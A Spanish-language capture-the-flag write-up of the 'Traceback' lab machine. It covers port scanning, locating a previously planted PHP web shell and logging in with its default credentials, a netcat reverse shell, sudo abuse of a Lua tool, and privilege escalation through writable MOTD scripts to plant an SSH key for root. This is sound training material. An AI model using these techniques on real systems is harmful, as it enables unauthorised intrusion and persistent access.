Traceback es una máquina de dificultad fácil que cuenta con un servidor web Apache. Se puede acceder a un shell web PHP cargado por un hacker y se puede utilizar para obtener la ejecución de comandos en el contexto del usuario webadmin. Este usuario tiene el privilegio de ejecutar una herramienta llamada luvit, que ejecuta código Lua como el usuario sysadmin. Finalmente, el usuario Sysadmin tiene permisos de escritura en el archivo update-motd. Este archivo se ejecuta como root cada vez que alguien se conecta a la máquina a través de SSH. Esto se utiliza para escalar privilegios a root.
Reconnaissance
Realizaremos un reconocimiento con nmappara ver los puertos que están expuestos en la máquina TraceBack. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.181 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 18:01 CET
Initiating SYN Stealth Scan at 18:01
Scanning 10.10.10.181 [65535 ports]
Discovered open port 80/tcp on 10.10.10.181
Discovered open port 22/tcp on 10.10.10.181
Completed SYN Stealth Scan at 18:02, 28.76s elapsed (65535 total ports)
Nmap scan report for 10.10.10.181
Host is up, received user-set (0.073s latency).
Scanned at 2025-03-06 18:01:47 CET for 29s
Not shown: 65320 closed tcp ports (reset), 213 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.88 seconds
Raw packets sent: 74435 (3.275MB) | Rcvd: 73661 (2.947MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.181
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache y el servicioSSH.
❯ nmap -sCV -p22,80 10.10.10.181 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 18:03 CET
Nmap scan report for 10.10.10.181
Host is up (0.095s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 163.52 ms 10.10.14.1
2 163.71 ms 10.10.10.181
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.05 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Web Enumeration
Realizaremos a través de la herramienta de whatweb un reconocimiento inicial de las tecnologías que utiliza la aplicación web.
Accederemos a http://10.10.10.181 y nos encontramos con la siguiente página web. Al parecer la página web ha sido hackeada por un atacante. Por otro lado, indica el atacante que ha dejado un backdoor accesible para toda la red.
Realizamos una enumeración de archivos PHP pero no logramos encontrar nada en la aplicación web.
❯ feroxbuster -u http://10.10.10.181/ -t 200 -C 500,502,404 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.181/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, aspx]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 44l 151w 1113c http://10.10.10.181/
[####################] - 73s 90006/90006 0s found:1 errors:144
[####################] - 73s 90000/90000 1235/s http://10.10.10.181/
Initial Foothold
Searching for a web shell uploaded by the attacker
Buscamos en Internet sobre las web shells más famosas para poder hacernos un listado del nombre de dichas web shells. Nos encontramos con el siguiente repositorio de GitHub el cual contiene diferentes nombres de web shells.
Nos copiaremos el contenido de las diferentes web shellsque aparecen en el repositorio.
Trataremos el contenido que hemos copiado del repositorio de GitHub para solamente quedarnos con los nombres de las web shellsy almacenarlo en un archivo llamado webshells.txt.
Una vez tengamos un listado de las web shells más conocidas, probaremos de realizar una enumeración con gobuster para ver si logramos encontrar la web shellsubida en la página web.
En el resultado obtenido, logramos encontrar una web shell llamada smevk.php.
❯ gobuster dir -u http://10.10.10.181/ -w webshells.txt -t 50 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.181/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: webshells.txt
[+] Negative Status codes: 503,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/smevk.php (Status: 200) [Size: 1261]
Progress: 22 / 23 (95.65%)
===============================================================
Finished
===============================================================
Using SmEvK_PathAn Shell to get a Reverse Shell
Al acceder a http://10.10.10.181/smevk.php nos encontramos con la web shellque el atacante subió a la aplicación web. Al acceder se nos requiere ingresar credenciales de acceso. Investigando más a fondo sobre la web shell nos encontramos con el repositorio en el cual nos indican que las credenciales por defecto son admin/admin.
Finalmente logramos obtener acceso a la web shell en la cual nos permite realizar diferentes opciones.
Ejecutar comandos
Crear directorios
Mover directorios
Leer archivos
Subir archivos
etc
Probamos de utilizar el apartado de Execute para verificar si podemos lograr ejecutar comandos en el equipo víctima. En nuestro primer intento, al ejecutar el comando whoami se nos muestra el resultado correctamente, por lo tanto, logramos obtener un RCE a través de esta web shell.
El siguiente paso será lograr obtener acceso remoto al sistema, para ello nos pondremos en escucha con nc.
❯ nc -nlvp 443
listening on [any] 443 ...
Ejecutaremos en la web shell el siguiente comando que es la sintaxis de la típica Reverse Shell.
Verificamos que finalmente logramos obtener acceso al sistema como el usuario webadmin.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.181] 57626
bash: cannot set terminal process group (694): Inappropriate ioctl for device
bash: no job control in this shell
webadmin@traceback:/var/www/html$
Al obtener la Reverse Shell, realizaremos el tratamiento de la terminal para disponer de una TTY totalmente interactiva.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.181] 57626
bash: cannot set terminal process group (694): Inappropriate ioctl for device
bash: no job control in this shell
webadmin@traceback:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
webadmin@traceback:/var/www/html$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
webadmin@traceback:/var/www/html$ export TERM=xterm
webadmin@traceback:/var/www/html$ export SHELL=bash
webadmin@traceback:/var/www/html$ stty rows 46 columns 230
Initial Access
Abusing sudoers privilege (Executing Lua Tool with another user)
Revisando el directorio personal del usuario webadmin, nos encontramos con un archivo de texto llamado note.txt el cual indica que el usuario sysadminle ha proporcionado al usuario webadmin una herramienta para practicar con el lenguaje de programación Lua, además indica que el usuario ya debería saber como encontrarlo.
webadmin@traceback:/home/webadmin$ ls
note.txt
webadmin@traceback:/home/webadmin$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
Revisando si el usuario webadmin dispone de algún permiso de sudoers, nos encontramos en que puede ejecutar como el usuario sysadminel binario de /home/sysadmin/luvit, una herramienta para practicar Lua.
webadmin@traceback:/home/webadmin$ sudo -l
Matching Defaults entries for webadmin on traceback:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
A través de este privilegio de sudoerssobre el binario indicado, finalmente conseguiremos disponer de una bashcomo el usuario sysadminy podremos visualizar la flag user.txt.
El siguiente paso, será realizar una enumeración con una herramienta automatizada como linPEAS, que realiza un escaneo del equipo en busca de vectores para elevar nuestros privilegios.
El binario lo dispondremos en nuestro equipo local y lo compartiremos a través de un servidor web.
❯ ls -l linpeas.sh
.rwxrwxr-x kali kali 820 KB Wed Feb 19 08:41:54 2025 linpeas.sh
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
En este máquina, el binario de cURLno estaba instalado para realizar un Fileless Attack para ejecutar el script que compartimos sin necesidad de descargarlo en el equipo local.
Por dicho motivo, descargaremos el script que estamos compartiendo con wget le daremos permisos de ejecución y lo ejecutaremos para que realice la enumeración.
Al finalizar la enumeración, comprobamos que el usuario actual dispone de privilegios de escritura sobre los siguientes archivos ubicados en /etc/update.mot.d, más adelante explicaremos qué son este tipo de archivos y cómo podemos abusar de estos para obtener acceso como root.
Pspy64 Monitorization
Por otro lado, también hicimos una comprobación para verificar los procesos que se estaban ejecutando en el equipo víctima. Para ello, utilizaremos el binario de pspyel cual compartiremos desde nuestro equipo local mediante un servidor web.
❯ ls -l pspy64
.rwxr-xr-x kali kali 3.0 MB Tue Jan 17 22:09:52 2023 pspy64
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo víctima, descargaremos el binario con wget, le daremos permisos de ejecución y ejecutaremos el binario.
Comprobamos que en el equipo víctima, al parecer se está ejecutando una tarea CRON
Este proceso está restableciendo los archivos MOTD a su estado original cada cierto tiempo. Esto se hace copiando los archivos desde un directorio de respaldo (/var/backups/.update-motd.d/) al directorio de MOTD (/etc/update-motd.d/).
Revisando los procesos a través de ps auxque está ejecutando el usuario root, nos encontramos que este es el usuario que realiza el restablecimiento de los archivos MOTD a su estado original.
Estos archivos son scripts que generan el Mensaje del Día (MOTD), que se muestra cuando un usuario inicia sesión en el sistema. Los scripts se ejecutan en orden numérico (por ejemplo, 00-header, 10-help-text, etc.) y su salida se muestra en la terminal.
Comprobamos que los scripts que se ubican en /etc/update.motd.d disponemos de permisos de escritura sobre ellos. Para poder abusar de estos archivos, podemos intentar escribir sobre uno de ellos, por ejemplo 00-header para indicarle que ejecute otro comando.
sysadmin@traceback:/etc/update-motd.d$ ls -l
total 24
-rwxrwxr-x 1 root sysadmin 981 Mar 6 09:33 00-header
-rwxrwxr-x 1 root sysadmin 982 Mar 6 09:33 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Mar 6 09:33 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 Mar 6 09:33 80-esm
-rwxrwxr-x 1 root sysadmin 299 Mar 6 09:33 91-release-upgrade
sysadmin@traceback:/etc/update-motd.d$ cat 00-header
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
echo "\nWelcome to Xh4H land \n"
Nuestro objetivo que planteamos es el siguiente:
Obtener clave pública de atacante para copiarla en /home/sysadmin/.ssh/authorized_keys para así poder conectarnos al equipo sin necesidad de saber las credenciales y que se activen los scripts MOTD.
Editar el archivo principal MOTD llamado 00-header para indicarle que realice una copia de nuestra clave pública ubicada después del primero paso en /home/sysadmin/.ssh/authorized_keys a la ubicación de /root/.ssh/authorized_keys.
Una vez editado el archivo MOTD, iniciar sesión con el usuario sysadminmediante SSHsin proporcionar credenciales (debido que nuestra clave pública está en las claves autorizadas SSHde dicho usuario). Una vez nos conectemos se activarán los scripts de MOTD.
Nos conectamos con el usuario root mediante SSH sin proporcionar credenciales. Si todo funciona correctamente, deberíamos de disponer acceso como root. Esto debido que cuando hemos iniciado sesión se ha activado el script de MOTD y se ha ejecutado el comando anteriormente indciado.
EL PROCESO SE DEBE REALIZAR DE MANERA RÁPIDA, DEBIDO QUE COMO HEMOS COMPROBADO ANTERIORMENTE, EL USUARIO ROOT RESTABLECE LOS ARCHIVOS MOTD CADA 30 SEGUNDOS.
Desde nuestra máquina atacante, generaremos una nueva clave SSH. Copiaremos el contenido de nuestra clave pública SSHgenerada.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519):
Created directory '/home/kali/.ssh'.
Enter passphrase for "/home/kali/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_ed25519
Your public key has been saved in /home/kali/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:Z0DWOMaXf3P9WX84gkJDv0VSjrNajbcCvnERY8ds6nk kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| .oo o. |
| o* ==. |
| o.+*+* .|
| oo.@o o +|
| .S.O+o. +=|
| ..Bo+..o.+|
| +.= E. ..|
| + o |
| . |
+----[SHA256]-----+
❯ cat /home/kali/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKu23HUcaRFAHVBfzy2IJTf+jwRyuzxSeg5KFVRuWNqZ kali@kali
Introduciremos nuestra clave pública SSH en el archivo /home/sysadmin/.ssh/authorized_keyspara poder iniciar sesión mediante SSH con el usuario sysadmin sin proporcionar credenciales.
Verificamos que efectivamente podemos autenticarnos al SSH con dicho usuario sin proporcionar credenciales válidas.
❯ ssh sysadmin@10.10.10.181
The authenticity of host '10.10.10.181 (10.10.10.181)' can't be established.
ED25519 key fingerprint is SHA256:t2eqwvH1bBfzEerEaGcY/lX/lrLq/rpBznQqxrTiVfM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.181' (ED25519) to the list of known hosts.
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
Welcome to Xh4H land
Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ whoami
sysadmin
El siguiente paso será sobreescribir el script MOTD llamado 00-header para indicarle que haga una copia de nuestra clave pública ubicada en /home/sysadmin/.ssh/authorized_keys hacia /root/.ssh, así el usuario root, dispondrá de un archivo llamado authorized_keys con nuestra clave pública y podremos conectarnos sin proporcionar credenciales.
Para que se activen los scripts MOTD, rápidamente deberemos iniciar sesión mediante SSH con el usuario sysadmin.
❯ ssh sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Mar 6 09:38:03 2025 from 10.10.14.2
$ whoami
sysadmin
Al iniciar sesión con dicho usuario, se debería haber activado los scripts MOTD y como tal, nuestra clave pública SSHse encontraría en /root/.ssh/authorized_keys con lo cual podríamos autenticarnos al SSH con el usuario root sin proporcionar credenciales.
Verificamos que finalmente podemos acceder al equipo con el usuarioroot sin proporcionar credenciales de acceso. Finalmente logramos visualizar la flag root.txt.
❯ ssh root@10.10.10.181
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Apr 26 02:23:35 2021
root@traceback:~# whoami
root
root@traceback:~# cat /root/root.txt
a4dba9**************************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Revisando a través de la herramienta de nos encontramos que podemos abusar del lenguaje de programaciónLuapara poder obtener una shell, en este caso, una shell como el usuario sysadmin.